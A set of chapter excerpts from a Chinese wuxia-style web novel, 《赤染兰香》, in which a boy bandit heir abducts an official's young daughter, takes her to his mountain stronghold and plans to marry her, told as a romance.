跟楚宗在玉狼峰学艺的这两年,每年只有中秋和春节,楚宗才会放叶阳晨回家。即使师父出去云游了,叶阳晨依然不敢私自下山,因为师命不可违。这样算来,叶阳晨已经好久没有出山去玩了,所以好不容易恢复自由身,他当然要痛痛快快地玩个够。 叶阳晨、叶清扬和丁鹏还有二十多个喽啰,躺在树上等“猎物”,这是他们这些孩子最爱玩的恶作剧之一。就是等到有路过的有钱人,他们就会从树上跳下打劫一番。只不过他们只打劫那些为富不仁的贪官和奸商,从不欺压百姓和平民。 叶阳天总是教育叶阳晨说,现在十个官,有个贪,还有一个不作为,所以对待那些贪官污吏不用手下留情,抢走他们的钱,劫富济贫,给那些更需要的百姓。 为了打劫贪官污吏,叶阳晨特意守在官道上。林子里静得很,叶阳晨已经在树上昏睡了一个时辰了,也不见一个官员的马车从此经过。 突然,远处传来马车声和马蹄声,叶阳晨睁开眼睛,远远看见官队朝这边来。 看官队的人数,叶阳晨判断这不是个小官,他暗暗在心里想,一定要好好教训他们一顿。 叶阳晨压低了声音,“兄弟们,猎物来了,都给我蒙上面,劫了这些狗官。”众人齐声应喏。 官员的车马渐近,终于走到树下,叶阳晨厉喝道:“兄弟们上。” 所有人从树上跳下,官队的马受惊嘶鸣。坐在马车里的林远峰掀开车帘一看,“大家小心,是土匪。” 林远峰这么一喊,叶阳晨怒气平生,“狗官,休要乱吠。”叶阳晨两个飞腿,踢倒了官队前的两个护卫。 平日里,叶阳晨最不喜欢被别人称作土匪,好像他们这些人生来就是强盗和恶人。事实上,长风寨的兄弟们从未做过恶事,也没有过滥杀无辜。 虽然叶阳晨他们只有二十多人,却两三下打伤了林远峰身边一百多人,那些官兵七零八落地躺在地上。 林远峰见状跳下马车,他没有跪地求饶,而是颇具文人风骨道:“光天化日之下,你们竟当街行凶?” 叶阳晨反驳道:“我们只为钱财,总比你们这些狗官欺压百姓好。留下钱财,我就放你们过去。” 林远峰一身正气,“本官为官十几载,从未欺压过百姓。” 叶阳晨带着不屑,“你认为我会相信吗?少废话,把钱都交出来。” 林远峰叹了口气,他心知跟土匪讲大道理是对牛弹琴,便对亲随说道:“把钱都给他们。” 所有人把银子凑了凑,共有近一百两银子,悉数给了叶阳晨。 叶阳晨不屑道:“你们这些贪官,平日里搜刮那么多民脂民膏,这会儿身上才带了这么一百两银子,你认为我会信吗?” “钱真的都给了你,你爱信不信。”叶阳晨虽然蒙面,但林远峰还是仔细打量着他。看着个头,听着叶阳晨那稚气未脱声音,林远峰判断眼前是个“小土匪”。同时林远峰也心中讶然,感叹小小土匪就有如此本事和气势。 叶阳晨当然不信,他的目光落在了林远峰身后的车轿,以为金银都被藏在了轿子里。 林远峰注意到小土匪的眼神,心上浮上一丝担忧,冷声解释:“车里是小女,并不是什么金银。” “是不是金银要查看了才知道。”说着,叶阳晨便朝着马车走去。 林远峰要挡着叶阳晨,被冲过来的叶清扬推开。林远峰惊讶于这个小男孩的力气也如此之大。 叶阳晨蹿过去掀开轿帘,只一瞬,只一眼,他便感觉自己的心好似凝住了。叶阳晨从来没有见过那么俏丽万端的女孩,只见她蹙眉如一弯新月,双眸似一眼清泉,玉面娇容若流云拂柳,若烟雨桃花。 车里坐着的是林远峰的大女儿林慕瑶,这次林远峰为公事来拜见中安郡太守,本想顺便带着女儿出来散散心,谁想回家的路上就遇到拦路的叶阳晨。 叶阳晨嘴巴微张,“你叫什么名字?” 林慕瑶刚刚透过车窗帘看见外面发生的一切,已经被吓坏了。现在看着面前这个小土匪,见他穿着虎皮马甲、宽肥裤子,胸前还挂着狼牙吊坠,还一副凶神恶煞的样子,她心中的恐惧又增了几分。 慕瑶柔声颤抖,“这不关…你的事。” 叶阳晨没了耐心,一蹿便跳上马车,抓住林慕瑶的胳膊。 林慕瑶带着哭腔,“你要做什么?” 林远峰也急了,“你们不要欺负我女儿。”他虽然想过来救女儿,可是被叶清扬控制着,寸步难移。 叶阳晨用力慕瑶拉下马车,然后一句废话没有,背上她就跑。叶阳晨边跑边说:“丁鹏,清扬,你们两人断后,不要恋战。” 林远峰见女儿被抢走了,彻底慌了,“快点救我女儿。” 那些兵丁自知不是叶阳晨他们的对手,刚刚都已经放弃了抵抗的念头,可林大人的命令不敢不从,于是双方又打了起来。可实力悬殊,兵丁只有眼睁睁见叶阳晨他们跑了。 叶阳晨如脚下生风,跑得奇快。慕瑶一直捶打着叶阳晨的背,但女孩子的力气毕竟有限,叶阳晨又是习武之人,慕瑶的拳头就如挠痒痒一般。 林慕瑶一直在哭,“你放下我,我要爹爹。” 不得不说,叶阳晨第一眼看见林慕瑶就喜欢得不行,是那种发自内心的喜欢。这会儿,即使慕瑶在哭,叶阳晨都觉得这哭声好听。 叶阳晨他们跑到泽清山的玉龙湖,便上了船。见船离岸边越来越远,林慕瑶更加难过了。 叶阳晨终于把慕瑶放下来,并将自己蒙面的布揭下来。 慕瑶惧怕,但还是偷偷地瞟了叶阳晨一眼,只见面前的这个小男孩面容丰神俊朗、皎如日星,眼中透出的坚毅豪情更是触动了一下她的心弦。只是当时年幼,慕瑶还不知那悸动的瞬间意味着什么,而她能记住的就都是那天的恐惧和害怕。 那是慕瑶第一次见叶阳晨,但她总觉得在哪里见过这个小男孩。一眼定终身,错遇亦真缘,千年轮回之后,木瑶终于又重见赤骁,只是两人都已经忘了前世的情缘。 林慕瑶低泣,“你们是谁?你们太坏了,你们为什么抢我走?” 叶阳晨会错了意,以为林慕瑶想知道自己是谁,“你不要哭了,我是叶阳晨,你呢?” “我不告诉你。” “你不告诉我,我就把你带回家慢慢问。” 慕瑶不知世上怎么会有如此无赖,只好如实说道:“我叫林慕瑶。现在我告诉你我的闺名了,你可不可以把我送回到爹爹身边呢?他一定惦记死了。”慕瑶几乎是在求叶阳晨。 叶阳晨停顿片刻后摇了摇头。 从前叶阳晨单劫钱财,只惩恶鬼,这还是他第一次抢人呢。其实叶阳晨心里也知道把林慕瑶抢上山是不对的,更知此举非侠义所为。只是当叶阳晨第一眼看见慕瑶时,心就好像被勾住一般,慕瑶的样子太过娇俏可人,令他不能自拔。叶阳晨实在是想日后每天都看到她,便一时冲动决定将慕瑶抢回山寨。他想过,如果这次放走慕瑶,那么人海茫茫,以后两人若想再见是很难的了。饶是如此,抢完慕瑶上山后,叶阳晨的心里还是有一点点波动。 叶阳晨与林慕瑶的相遇,说不清是缘于前世,还是情因今生。 玉龙湖水面辽阔,烟波浩渺,叶阳晨一行人坐了好一会儿船, 11. 第十一章 痴阳晨缘生泽清山 《赤染兰香》全本免费阅读 慕瑶看那头凶兽像狗,不过她很快就否定了自己的这个想法。凶兽的眼睛呈幽蓝色,眼神中透着凌厉冷酷,它的牙齿既尖锐又锋利,其中一颗呈血红色,满是杀气和凶狠。 慕瑶曾粗读过《山海经》,看着凶兽的样貌,她猜这是一只狼。不过现实中的狼,慕瑶还是第一次见。 慕瑶正诧异这屋里怎么会有如此猛兽,那只狼突然站了起来,然后朝床这边走来。 慕瑶立即惊恐地坐起来,躲靠到床角里,双手抱着膝盖喊道:“啊,不要过来,你不要过来……” 叶阳晨正坐在院子里,突然听到自己房间里传出慕瑶的喊声,他以为是出了什么事,连忙往房间跑去。 推开屋门,叶阳晨见慕瑶正坐在床上发抖,循着慕瑶的目光,他看见原来是火灵吓到了慕瑶。 叶阳晨轻喊了一声,“火灵,到我这里来。” 随着叶阳晨一叫,那只狼果然停住了脚步,然后扑到叶阳晨的怀里。 叶阳晨蹲下来,轻抚着狼的背,“火灵,她叫慕瑶,以后她是你的姐姐,也就是我们的家人了,所以你不要吓到她。” 话音一落,慕瑶见火灵只轻“哼哼”了两声,好像听懂了叶阳晨的话一般,便乖乖地趴在地上了,随之双目微阖,好像睡着了一般。 林慕瑶颤声问:“它怎么这么听你的话啊?” 叶阳晨解释:“它是我兄弟,当然听我的话。当初不是我救了它,它就死了。这个故事说来话长,我以后再讲给你听。” 慕瑶轻声细语,“那你能不能不让它进屋里来呢?” “那可不行,火灵自在惯了,我不想拘束它。而且它要是我的家人,是我们家的一份子,怎么能把它抛除在外呢?它是挺凶的,伤人的事情也很常见,但是只要你不用怕,火灵不会伤害你的,你慢慢就习惯了。” 林慕瑶心里非常委屈,她不解为什么叶阳晨会把这么吓人的东西留在屋子里,这更加加深慕瑶心里认为叶阳晨是个怪人的印象。 林慕瑶颤着声音求道:“我想回家,你能不能放我回家?” “你回不去了,我要娶你做压寨夫人。”叶阳晨经常听大人玩笑着那么说,他也就跟着学会了,其实他小小年纪,什么是压寨夫人,那意味着什么,他其实搞不太懂。 听叶阳晨不肯放自己走,林慕瑶又哭了起来,她样子清丽,哭起来如梨花带雨,总是会让叶阳晨心疼。 听着慕瑶哭,叶阳晨本不想多说,更不想制止。但慕瑶根本停不下来,她的哭声不大,但她每抽泣一声,叶阳晨就感觉心疼一下。 忍耐了一会儿,叶阳晨终于还是心烦气躁了,“不要哭了,再哭我就把你的嘴堵上。”叶阳晨从来不会哄女孩子,说话的语气自然也不好。他也很想关心慕瑶,很想对慕瑶好一些,只是年幼的他不知用什么方式。 慕瑶被吓得不敢再哭出声了,只是泪水依然簌簌而落。 之后,两人在屋里各自待着,都不再说话。 到了晚上,叶阳晨让丁鹏把饭菜送到屋里来。 饭菜摆好,叶阳晨冲着慕瑶吼了一嗓子,“下床吃饭。” 话音一落,慕瑶被吓得身体一抖,她不敢不听话,只好下了床榻。她刚在饭桌前坐下来,便惊呆了。 见慕瑶愣在那里不动筷子,叶阳晨眼神示意道:“你倒是吃啊,还在等什么?” 慕瑶放眼望去,整整一桌子菜,竟然全是荤菜,没有一丝绿颜色的青菜。摆在她面前的,不是鸡就是鸭,不是猪就是牛,不仅如此,每样荤菜的块头都那么大,而且都用那种超级大的盘子装着,慕瑶甚至从来没见过那么大的盘子。 其实平日里,如果山寨没有聚会,叶阳晨和家人用饭也不会吃这么多的菜,何况现在这个屋子里只有他和慕瑶两个人。叶阳晨心想慕瑶刚来山寨肯定思亲想家,于是他就让丁鹏命厨房多做点好吃的。叶阳晨还以为美食可以让慕瑶开心一点,殊不知这些吃的只是他自己爱吃罢了。 被叶阳晨这么一催促,慕瑶目光落在离自己最近的那一大盘酱猪蹄,可看了一会儿,还是一点胃口都没有。而且她实在不知怎么吃,眼前连个碗筷都没有。 从前在家的时候,慕瑶的饮食都是非常考究精致的。林府即使做荤菜,也都会切成细丝或薄片,而且色泽鲜艳,令人垂涎欲滴,完全不是现在这么粗犷。 叶阳晨见慕瑶半晌还是未动,他眉毛一挑,“这样,你看看我怎么吃。”说着他抄起一个猪手就狼吞虎咽地啃了起来。 慕瑶偷瞥一眼,见叶阳晨每一口都粗暴地咬下猪蹄上的肉,大吃大嚼的过程中还发出很大声音,他的嘴唇嘴角更是挂满了油。慕瑶看在眼里,心里很是嫌弃。 少时,叶阳晨手里的猪蹄已被啃掉大半,慕瑶眉头微蹙,心里犯嘀咕,“这东西有这么好吃吗?”她实在不敢想象,吃饭竟然可以直接用手抓。慕瑶相信,如果她在家里这副吃相,一定会被父亲动用家法。 慕瑶正这么想着,叶阳晨边吃边递过来一个猪蹄,“拿着吃,这是我最喜欢的美食。” 慕瑶心里很排斥,可还是犹豫着伸出手去,将猪蹄接了过来。她的手指间瞬间沾满了油,慕瑶心里很是厌嫌,只是慑于叶阳晨,她不敢把猪蹄放下。 “快吃啊,真的很好吃的,你试试就知道了。”叶阳晨不听地催着。 被叶阳晨那么一催,慕瑶一走神,猪蹄掉在了地上。顿时吓得慕瑶心惊胆战,她生怕叶阳晨会发怒。 叶阳晨眉头一皱,轻叹了口气,然后低头把掉在地上的猪蹄捡了起来。叶阳晨拍了拍猪蹄上的灰,又随意继续吃了起来。 林慕瑶心里一惊,小声对叶阳晨说道:“这掉在地上脏了的东西,怎么还能继续吃呢?”见叶阳晨这么不讲卫生,她对叶阳晨的印象不能再坏了。彼时,在慕瑶眼里,叶阳晨身上真是一善俱无,诸恶具备。 叶阳晨又给慕瑶递过来一个猪蹄,叮嘱道:“这回可不要再掉在地上了啊,猪蹄最美味了,我真的没有骗你。” 人年少时,总是觉得自己喜欢的东西别人也应该喜欢,也总是习惯把自己认为好的东西给心爱的人,却不知对方的喜好可能与自己不同。在叶阳晨眼里,他理所当然认为自己爱吃的猪蹄就是世界上最好吃的东西,慕瑶也理应喜欢。 踌躇片刻,林慕瑶强忍着咬了一小口猪蹄,虽然只是一小口,但双唇瞬间沾满了油。林慕瑶品了品味道,可能是因为第一次吃,她总觉得猪蹄有一种怪怪的味道。 林慕瑶正准备吞咽的时候,突然感觉一阵恶心,随着嗓子呕了一下,刚刚吃进去的肉又吐了出来。随后,她又干呕了几声,嗓子难受极了。 林慕瑶抬起头,目光对上叶阳晨锋利如刀的双眼,心里害怕极了,连忙柔声解释:“我不是故意的。” 叶阳晨本来是要发火的,但见到慕瑶楚楚可怜的样子,气就消了大半。叶阳晨稍稍耐心了些,“吃不惯吗?” 慕瑶含泪点点头。 叶阳晨无奈地看着桌子上的菜,“那你喜欢吃哪样菜呢?” 林慕瑶壮着胆子,“那个烤鸡或许还可以吃一点点。” 叶阳晨二话没说,站起来直接折断烤鸡上的一个鸡腿和一个鸡翅膀给了慕瑶。 即使是烤鸡,慕瑶平日里也是不吃的,可能是真的饿了,便优雅斯文地吃了起来。与猪蹄相比,这个鸡腿至少可以凑合着吃。这就是慕瑶在泽清山的第一顿饭,一顿饭吃得一波三折。 吃过饭,天渐渐黑下来,叶阳晨便命下人准备沐汤,他觉得让慕瑶洗个热水澡,或许能让她洗去疲惫后睡个好觉。 慕瑶正洗着澡,丫鬟花语突然走出了屋子,“少爷,林小姐沐浴后换什么衣服呢?她身上穿的衣服脏了。” 叶阳晨一愣,他还真忽视了这个问题。叶阳晨挠着头,一时犯难。 此时主寨里,与慕瑶年纪相仿的女孩,只有自己妹妹芷萱一人。可芷萱偏偏平时习惯男孩子的打扮,女装也极少。不过有穿的,总比没有好,叶阳晨便让丫鬟去找芷萱要两 12. 第十二章 愁姑娘忧心自身命 《赤染兰香》全本免费阅读 进了膳厅,林慕瑶见一个妇人坐在餐桌前,她看上去有三十出头的样子,气度清华、高贵不凡。妇人旁边还有一个女孩坐在旁边,双眸干净清澈,灵气逼人。 叶阳晨介绍道:“娘,这是慕瑶。” 唐露浅笑着,“嗯,坐下准备吃饭吧。” 叶阳晨又看向林慕瑶,“这是我娘和我妹妹叶芷萱。” 慕瑶微微点头,她见叶芷萱看自己的眼神很不友善,心里很是纳闷。慕瑶不知芷萱的敌意从何而来,毕竟两人才刚刚见面。 芷萱见慕瑶穿着自己的衣服,当然很不爽,“哥,我不想让她挨着我坐。” 话音一落,慕瑶心里极为委屈,她还不想留在这个土匪窝呢,到头来还被别人嫌弃了。 既然妹妹这样说,叶阳晨只好让慕瑶挨着母亲坐,而自己则把两个女孩子隔开。 林慕瑶坐下后,心里依然七上八下、如坐针毡。 唐露看出慕瑶的紧张,善意一笑,“孩子,你叫林慕瑶是吧?” 慕瑶抿着嘴唇不说话,只是轻轻颔首。 唐露笑得更加慈爱,“别害怕,我们都会待你如家人一般,不会委屈你的。你刚来可能不习惯,不过你住上一段日子,就会喜欢上这里的。我们这里处处山峦黛绿,水波湛蓝,可谓集天下美景之最。这种美在外面任何地方你都是看不到的。” 实际上,那时的慕瑶什么都听不进去,她讨厌这里的一切,又怎么会有心情欣赏风景呢? 唐露心知慕瑶还心存敌意,并且她也清楚,让慕瑶适应山里的生活也需要时间,于是便不再说下去了。 下人陆续把早点端上来,叶阳晨先问道:“慕瑶,你喜欢吃什么?” 慕瑶看了看桌子上各式各样的吃的,低声道:“我要喝稀饭。” 叶阳晨亲自给慕瑶盛了一碗。 唐露打趣道:“慕瑶,你可不知道,我这个儿子从来没有对任何人如此上心过。” 慕瑶抿了抿唇,不知该说什么,只是低头喝着粥。 芷萱突然嘟着嘴道:“哥,我也要。” 叶阳晨不知芷萱为什么这么爱凑热闹,他宠溺地瞪了芷萱一眼,但还是迁就着妹妹,给她也盛了一碗粥。 唐露在一旁给慕瑶解释:“他们兄妹感情一直就很好,芷萱非常爱粘着她的哥哥。” 饭间,叶阳晨一直问慕瑶喜欢吃什么。遇上说不出名来的小吃,慕瑶就会伸手指一指,叶阳晨便把慕瑶爱吃的东西夹到她的碗里。 一旁的芷萱不停地咬着筷子,心里恨得牙痒痒。 较昨晚的大鱼大肉相比,这顿早餐,慕瑶吃得还习惯些。在家的时候,她吃东西也常以清淡为主。 快吃完早饭的时候,叶阳晨突然对唐露说道:“娘,我想与慕瑶成亲。” 话音刚落,慕瑶一惊,心跳随之陡然加快,她没想到叶阳晨昨夜说要成亲,并不是在开玩笑,而是真的。慕瑶在脑海快速想着叶阳晨口中的成亲到底是什么意思?是不是真就是大人们办的那种仪式? 唐露只是微微一怔,然后笑着说:“随你的意,儿子,你喜欢就好,不过一会儿你去跟你爹爹说说成亲的事吧。” “好的,娘,我一会儿吃完饭就去找爹说去。” 听唐露一口就答应了叶阳晨,慕瑶更是感到惊讶。要是在别的人家,一个九岁的孩子吵着要成婚,多半会被父母嘲笑一番,毕竟这个年龄太小了,还什么都不懂。慕瑶虽然八岁,但是她在家时也参加过旁支表哥表姐的婚礼,她自然知道自己不到成婚的年龄。 叶芷萱在一旁惊讶道:“哥,你要成亲啊?” 叶阳晨挑眉,“是啊,怎么了?” “我不想你成亲,你成亲后就不会要我这个妹妹了。” “不会的,无论到什么时候,你都是我的妹妹啊。” 芷萱嘟着嘴,“我不信你。”说完,她还气呼呼地瞪着林慕瑶,“就是你,我不要你在我们山寨里。” 慕瑶委屈得瞬间红了眼眶。 叶阳晨有点生气,“芷萱,不准胡闹,不准你欺负慕瑶。” “哥,从前你不会这么大声跟我说话的,你还说不偏心?”说完芷萱站起身,把碗筷扔下跑了出去。 唐露看着自己的两个孩子吵闹,幸福的笑容浮在脸上。 在一旁的慕瑶心头越发揪紧,虽然她才八岁,不知成亲具体意味着什么,但总归知道成亲就是一男一女结为夫妻后就要永远在一起了。慕瑶满脑子想的都是怎么逃离这里,她清楚,成婚后叶阳晨更不会放自己走了,而她一联想到自己现在的处境,就像个木偶一样,只有任由叶阳晨摆布,完全没有任何自由可言,她就陷入到深深的难过之中。如果有选择的话,林慕瑶不想跟叶阳晨有什么关系,更不想做叶阳晨的妻子,但她此时没有。 用过了早饭,叶阳晨先把林慕瑶送回了房间,然后自己去找了父亲叶阳天。 叶阳晨进了叶阳天的屋子,见夏薇正用面巾帮着父亲擦着额头和脖颈上汗,他猜父亲是刚刚练过剑。这是叶阳天多年养成的习惯,从未改变。 没等叶阳天说话,夏薇先跟叶阳晨开起玩笑,“儿子,听说昨天你带回来一个小美人?” “是的娘亲。” 叶阳晨小的时候,一直称呼夏薇二娘。但突然有一天,夏薇觉得叫二娘不太亲近,外人一听就知道叶阳晨不是自己亲生的。于是夏薇想了想,就让叶阳晨叫自己“娘亲”,算是自己专属的称呼。 这样一来,夏薇倒是满意了,唐露反倒有些吃味儿。唐露琢磨着,叶阳晨叫自己“娘”,却叫夏薇“娘亲”,怎么听都觉得“娘亲”的这个称呼更亲热些。明明就是自己养大的儿子,却让她人占了便宜,唐露怎么想都觉得心里不平衡,于是就不准叶阳晨那么叫。 叶阳晨很为难,毕竟二娘对他特别好,他不能太伤人家的心,便偶尔偷着叫夏薇娘亲。后来被唐露听到了,唐露大为生气。叶阳晨就哄着唐露:“那只是一句称呼而已。娘,你才是我的亲娘,如果跟你比的话,我跟二娘的关系远着呢。” 唐露心里被儿子哄得喜欢怒放,却依旧绷着脸,“你就知道哄骗娘。” “我哪有哄骗娘?我说的是真的。”说着,叶阳晨搂住唐露的脖子。 唐露终于忍不住嘴角上翘,“算娘没白疼你。” …… 叶阳天眉毛一挑问道:“儿子,你为何抢个女孩上山呢?” “爹,我有点喜欢那女孩。” “喜欢?” “是的,爹,就是喜欢。我还想和那个女孩成亲。” 话音一落,叶阳天与夏薇相视一笑,他们并不知道儿子随意的一句话,其实是命中注定。 叶阳天笑问:“儿啊,你知道啥是成亲吗?” 叶阳晨的声音里依然带着稚气,“成亲就是拜天地嘛。” 叶阳天没有多作解释,“那你打算什么时候成亲呢?” “当然是尽快,一个月后,来得及吗?” “这?” “我儿子都说了,那就肯定要来得及。”夏薇接话道。 听夏薇这么说,叶阳晨特别高兴,跑过去抱住了她,“谢谢娘亲。”夏薇眉眼染上了笑意,她就喜欢儿子这样跟自己亲近。 “可是……” “当家的,早点结婚有什么不好啊?你好好想想。”说着,夏薇还给叶阳天递了个颜色。在夏薇眼里,叶阳晨现在就娶妻成家是稍稍有点早,可这也不是大问题,历史上更小年纪成婚的例子也不少。 受到夏薇的启发,叶阳天转念一想,儿子这么早成亲的好处也是有的,一来他也想尽快看到儿子成家立业,二来他也可以把这个少寨主的位子传给儿子,这也就了却了自己的一件心事。 叶阳天老小孩一般地笑着:“既然你们母子都商量好了,那我这个当爹的当然同意了啊。只是这婚礼仪式的事……”说到此处,他偷偷给叶阳晨使了个眼色。 叶阳晨心领神会,“娘亲,儿不孝,接下来又要让你受累了。”叶阳晨当然知道,不要说是婚礼仪式这样的大事少不了夏薇的操持,就是山寨里年节的大事小事,哪件事又少得了夏薇。 夏薇难掩笑意,“臭小子,就知道说好听的话哄我。” “娘亲,我没哄你。” 夏薇故意绷着脸,“少说没用的,明天你把那个女孩给娘带过来看看,娘要看看那个女孩配不配得上你。” “好嘞。娘,我下午就带她过来见你。”说完,叶阳晨兴高采烈地跑了出去。 看着叶阳晨蹦蹦跳跳的样子,叶阳天笑着摇摇头,“到底还是个孩子啊!还真是个急性子。” 夏薇轻轻叹气,“唉,还是小晨这孩子有出息,你再看看清扬。” 叶阳天劝道:“清扬怎么了?我觉得清扬那孩子也不错,况且清扬不是还比小晨小一岁多呢嘛,你着什么急?” 正说着,叶清扬走了进来,“娘,我想要件兵器。” 夏薇无奈摇头,“什么兵器啊?” “我在话本里看的,叫沉月长枪。”说完,还拿出一张纸,“这是我画的兵器样式,你让铁匠给我按照这个样式打造。” 夏薇接过来那张纸,见上面的兵器画得七扭八歪的,她不由得翻了个白眼,“好的,娘抽空找人给你去做。” 叶清扬一本正经道:“娘,那你要快一点,我等着耍呢。” “娘知道了。”夏薇继续翻着白眼,“扬扬,你别天天傻傻的,就知道玩 13. 第十三章 讨欢心尽用浑身术 《赤染兰香》全本免费阅读 叶阳晨只是眉头皱了皱,就单手把刀从身上拔出来。 慕瑶完全怔愣在那里,她甚至怀疑叶阳晨没有痛觉。 叶阳晨慢慢坐起来,下床去取来药箱。随后他开始自己上药,自己包扎。 林慕瑶就在一旁看着,害怕得完全不知所措。她不知叶阳晨会不会报复自己,心里忐忑得七上八下。 好在慕瑶刚刚有些紧张,加之她一个女孩子,手上的力气本就不大,所以刚刚刺的伤口并不深,不一会儿伤口处的血也就止住了。 包扎完伤口,叶阳晨极其淡定地躺下来。过了片刻,他才平静说道:“不要跟任何人说起此事,否则你在泽清山就麻烦了。你也什么都不要想了,我不怪你,也不生你的气,你早点休息。” 叶阳晨心里喜欢慕瑶,见慕瑶吓坏的样子,他的心里更多是心疼。而且叶阳晨把慕瑶抢上山,总觉得对她有所亏欠,这次慕瑶给了自己一刀,他心里反而好过了许多。 虽然叶阳晨说不怪自己了,但慕瑶心里还是很不安。叶阳晨的反应很令慕瑶受触动,她没想到叶阳晨不仅不生自己的气,还温声暖语地安慰自己。慕瑶更没想到的是,自己的刺杀竟然对叶阳晨造成不了多大伤害。她心灰意冷的同时明白了一件事,就是想杀掉叶阳晨后逃跑,这条路是走不通的。 多少年后,慕瑶想起此事,也问叶阳晨为何当时没有躲开自己那一刀。叶阳晨淡淡说道:“我把你抢上山,害你那么伤心,当时我的心里也很内疚,只是舍不得放你离开。那一刀是我欠你的,我要还你。还了你,不再欠你,你就真是我的了。” 转眼间,林慕瑶已经上山半个月了,叶阳晨看得出来她很不开心,但他又不知道该怎么做才能让慕瑶开心。无计可施的叶阳晨去找了芷萱,他认为女孩子之间应该会更了解彼此的想法。 芷萱嘟着嘴,“哥,这种事你为什么找我?我本来就不喜欢你带回来的这个女孩。” “你就帮帮哥,从小到大,我也只认识你和小雪两个女孩,哥实在是不懂怎么哄女孩开心。”叶阳晨口中的小雪就是温映雪,是毒仙温狐的独生女,而温狐也是叶阳晨的师父。 芷萱皱着眉,“哥,我真的不愿意去。在我的想法里,我还以为你会喜欢小雪的。哥,小雪跟我们一起长大,难道你就不喜欢小雪吗?” 叶阳晨愣住,“小雪和你一样,是我的妹妹啊。” “可我看得出来,小雪喜欢你,小雪要是知道你心里喜欢上别人了,肯定气死了。如果让她知道我还去帮你当说客,肯定也会生我的气的。” 叶阳晨有点气,也有点急,“你到底帮还是不帮?” 芷萱站在那里咬着嘴角。 叶阳晨抬腿便走,刚走了两步,就听见芷萱在身后叫他,“哥,我去就是了,你不要生气嘛。但是先说好,我只能尽力,我也不知道有没有用。” 在这个世界上,芷萱最崇拜的人就是哥哥,最亲近的人也是叶阳晨,那种感情甚至胜过她对父母。 叶阳晨嘴角微勾,他就知道妹妹最终还是会答应自己的。 叶芷萱来到叶阳晨的卧房门口,未敲门便推门而入,若非她特别讨厌林慕瑶,并不会如此失礼。 叶阳天向来尊师重道、敬贤礼士,他也不希望自己的孩子都是粗鄙没文化之人,于是就重金请了硕学先生到山寨里上课。芷萱的课业经常得到老师表扬,不会连基本礼貌待人的道理都不懂。 门突然被推开,慕瑶吓了一跳。见来人是叶芷萱,慕瑶在心里犯疑她来做什么。这些日子,慕瑶只在吃饭的时候见过叶芷萱,私下里两个女孩并未有过交流。 慕瑶淡淡说道:“您好!” 叶芷萱生在江湖,长在江湖,行事作风也都是豪气冲云的男儿做派,她还是不太习惯慕瑶的端庄娴雅、贞静平和。 芷萱冷冷一问:“你在这里还习惯吗?” 林慕瑶淡淡摇了摇头。 “怎么?不习惯?那还为什么不走?” 慕瑶很想说:“你当我不想走吗?分明是你哥哥不让我走。”可是这种与人口舌之争的话她是说不出口的,她也怕说了这种话后被叶阳晨知道会生自己的气。 林慕瑶什么都不能说,当然她也不想跟叶芷萱说太多,她更不喜欢叶芷萱说话的口气,好像在审犯人一般。 叶芷萱语气稍稍平和了些,“其实我哥把你抢上山,是有他的不对。但是哥哥既然喜欢你,你就好好待他。如果你将来对我哥不好,我即使追到天边也不会放过你。” “我知道你的心里可能还因为我哥把你抢上山而耿耿于怀,但我还是要劝你一句,既来之,则安之,我哥这个人你相处久了就知道了,世间的男子皆不及他。我哥能喜欢你,也是你的造化。” 林慕瑶终于忍无可忍,反驳道:“对不起,我可不要这样的造化。”平日里,没有什么要紧的事,慕瑶都是温柔可人的,但她骨子里向来有着刚强贞烈。 芷萱玩味地看着慕瑶,“看不出来啊,你也有伶牙俐齿的一面。” 林慕瑶也不再说话。 叶芷萱站起来,“该说的我都说了,我先走了。” 走出门后,芷萱见叶阳晨正站在院子里等着自己,她走上前道:“哥,该说的话我都替你说了,她要是不听,我也没办法。”说完,她便离开了。 叶阳晨走进屋子,见林慕瑶红着眼睛,于是问道:“你怎么了?是芷萱说什么话惹得你不开心了吗?” “没怎么。”林慕瑶刚刚与芷萱吵嘴时,还能做到气定神闲,可芷萱一走,她的情绪便又崩溃了。 “那你别哭了。”见林慕瑶不愿与自己多说,叶阳晨只好又从屋子出来。 叶阳晨一路走出山寨,来到忘忧崖边的大石头坐下。他觉得女孩真麻烦,就知道生气,就知道哭,而自己还说不得,骂不得,打不得。 坐了一会儿,叶阳晨听到身后有脚步声,他知道不是别人,而是自己的弟弟叶清扬。 叶清扬坐了下来,“哥,你还是这个习惯,只要不开心就到这里坐着。” “这个地方视野开阔,心情也就随之好了很多。”说着,叶阳晨拿起一个石子,扔下山崖去。 叶清扬什么都不说,只是陪着哥哥在这里坐着。叶清扬平日话非常少,他只有跟哥哥在一起时,才会说几句话,连叶阳晨都觉得叶清扬活在自己的世界里。 隔了许久,叶清扬才淡淡问道:“哥,你不开心是因为抢回来的那个女孩?” 叶阳晨点了点头。 “哥,你把刀放在她的脖子上,她就会乖乖听话了。” “扬扬,对待喜欢的人怎么能用刀子呢?”叶阳晨看着叶清扬一笑,他有点羡慕弟弟的单纯。 “哥哥喜欢那个女孩?” 叶阳晨展颜一笑,“是啊,她以后就是我的妻子,也是你的嫂子,你要像尊敬我一样尊敬她。” “哥,我知道了,我会尊敬她的。” 片刻后,叶阳晨摸了摸叶清扬的头,“清扬,你有喜欢的人吗?” 叶清扬微微皱眉,想了想说道:“有的,哥哥、姐姐还有小雪。” “那你知道怎么让喜欢的人开心吗?” “简单啊,就是我喜欢做的事,也带着他一起做,我玩的时候也会带着她一起玩。” 叶阳晨眼睛一亮,弟弟无意间的一句话,倒是启发了他,算是给他出了一个好主意。 叶阳晨兴奋地跳起来,“小扬,我还有事,就先走了。”叶清扬不明所以,不知哥哥为什么突然高兴起来。 那天吃过午饭,叶阳晨便拉着慕瑶去了树林里,“慕瑶,我们一起玩好不好?” “玩什么?我不是很喜欢玩。”在家的时候,她最喜欢的就是宅在家里。她的妹妹倒是抓鱼钓虾,捉虫扑蝶样样喜欢玩。 “我们玩打鸟。”说着叶阳晨递给慕瑶一个弹弓,“这个弹弓是我自己做的,可好用了。” 慕瑶一个女孩子,成日养在深闺,根本没见过这种东西,“这是什么?” 叶阳晨示范给慕瑶看,他捡起一个小石子,然后将石子放入弹弓上的皮兜里。随后,叶阳晨右手用力一拉皮筋,单眼微闭瞄准树上的鸟。随着叶阳晨的右手一松,小石子飞了出去,树上的小鸟应声而落。 叶阳晨得意 14. 第十四章 慕瑶思亲仓皇出逃 《赤染兰香》全本免费阅读 那日晚上,叶阳晨多喝了几杯酒,回到屋里便倒头便睡了。慕瑶躺在他身边叫了好多声,叶阳晨都没有反应。 